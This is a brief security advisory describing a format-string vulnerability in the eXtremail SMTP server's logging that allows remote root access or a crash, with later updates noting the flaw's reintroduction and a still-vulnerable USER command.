eXtremail is a freeware SMTP server available for Linux and AIX.
|
|
|
|
eXtremail contains a format-string vulnerability in its logging mechanism. Attackers can send SMTP commands argumented with maliciously constructed arguments that will exploit this vulnerability.
|
|
|
|
eXtremail runs with root privileges. By exploiting this vulnerability, remote attackers can gain superuser access on the underlying host and can crash eXtremail. If the system is not restarted automatically, a denial of SMTP service will result.
|
|
|
|
UPDATE (April 26, 2004): Reportedly, this vulnerability has been reintroduced into the new version (1.5.9) of eXtremail.
|
|
|
|
UPDATE (October 26, 2007): Reports indicate that the 'USER' command of eXtremail 2.1.1 and prior is still vulnerable. Symantec has not confirmed this.
